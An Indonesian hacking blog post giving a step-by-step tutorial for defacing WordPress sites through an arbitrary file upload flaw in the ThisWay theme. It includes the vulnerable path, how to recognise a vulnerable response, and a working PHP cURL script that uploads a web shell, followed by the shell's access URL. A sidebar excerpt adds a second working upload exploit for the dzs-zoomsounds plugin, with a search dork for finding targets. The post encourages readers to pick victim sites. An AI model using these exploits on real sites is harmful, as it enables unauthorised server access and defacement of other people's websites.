Skip to main content

Tutorial Deface dengan WordPress ThisWay Arbitrary File Upload

By

Hallo Fans ,Nuenomaru disini .-.
maaf baru bisa posting/share artikel tutorial lagi
lg sibuk urus masadepan *asiikk wkwkwk
untuk artikel hari ini saya akan share salah satu bug/celah web berCMS Wordpress
kali ini Nue akan share Exploit Tutorial deface dengan WordPress ThisWay Arbitrary File Upload,  etthoo,, ini exploit gak begitu baru loh .. *exploit lama wkwk

hahaha iseng2 aja share kali aja masih crotz

bahan bahan:
- PC yang tersambung dengan Internet
- Xampp
- Shell & Script Deface
- Kopi , sabun , Lilin (hukumnya sunah wkwkw :v ) 


Langsung intip Tutorialnya

#- Title: WordPress ThisWay Arbitrary File Upload
#- Author: Bet0
#- Date: 11/01/2013  
#- Vendor: themeforest.net
#- Download Link: www.mafiashare.net/download/themeforest-this-way-v12-wp-full-video-image-background/
#- Tested on : Windows 7
=============


Pertama Dork Pikir sendiri Mz :v xixihi

2. pilih salah satu web target yg pengen ente tusb0l pak wkwk, lalu masukan exploitnya.
exploit: /wp-content/themes/ThisWay/includes/uploadify/upload_settings_image.php

3. Vuln = {"status":"NOK","ERR":"This file is incorect"} atau Blank
*kurang lebih sih gituh wkwkwk *maaf kalo salah hehehe



4. Buat File Baru Berekstensi .php Contoh thisway.php Dan Simpan Script Berikut Di Directory C:/XAMPP/php Masukan Script Berikut Edit-Edit Dikit dan taruh juga shell sobat di directory yang sama dgn thisway.php tadi

<?php
$uploadfile="namashellente.php";
$ch = curl_init("target.crotz/wp-content/themes/ThisWay/includes/uploadify/upload_settings_image.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>


5. Buka Xampp kalian yang sudah terinstall, nyalakan apace sama mysql nya
6. Buka CMD dan ketikan perintah
cd C:/xampp/php
php namaexploitlo.php

7. jika sukses , akan muncul nama shell sobat di CMD (berupa random shell.php gitu deh) dan akan keluar lengkap link akses shell ente
{"status":"OK","imageID":12,"imageName":"settingimage_namarandomshellentenanti.php"}





8. Shell Akses: www.target.crotz/wp-content/uploads/thn/bln/settingsimage_randomnamashellente.php


done


bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak
bila ada kritik, dan pertanyaan langsung aja kak ke wall fanspage kami: TKJ CYBER ART
Happy WordPress Hacked !!
Sekian dan semoga bermanfaat .. terimakasih



source and thanks to: 3XPLOI7 Bug




./Nuenomaru






















Visit and follow :

FP         : TKJ Cyber Art
G+         : TKJ Cyber Art
youtube : TKJ Cyber Art
BBM      : C0018D1A2
Labels:

Comments

Post a Comment

Popular posts from this blog

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

By
################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...
Post a Comment
Read more

How to Install CloudSim in Ubuntu (in 3 easy steps)

By
The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...
Post a Comment
Read more

[Solved] Error relaunching VirtualBox VM Process: 5 | VirtualBox won't start

By
In this article we are going to discuss about the 'supR3HardenedWinReSpawn' error. When i was exploring the Cisco IOU  tool, I had to import a Cisco IOU VM which was in OVF file format. But as soon as i double click the ovf file, VM refused to start and an error popped up, saying: Error in supR3HardenedWinReSpawn Result Code: E_FAIL (0x80004005) Component: Machine Interface: IMachine {480cf695-2d8d-4256-9c7c-cce4184fa048} And another message was also given in addition to the above, Error relaunching VirtualBox VM process: 5 Command line: '81954AF5-4D2F-31EB-A142-B7AF187A1C41-suplib-2ndchild--comment Fedora32 --startvm fd699e30-a77b-4eac-8ced-1210d756855d --no-startvm-errormsgbox' (rc=-104) The error that you receive might not be as exact as it's given here, since VM details are also part of the error. For example, If you look at the error shown above, My VM name 'GNS3 IOU VM' is also part of the error.  Why do I see this error ? Well, When i was doing a litt...
Post a Comment
Read more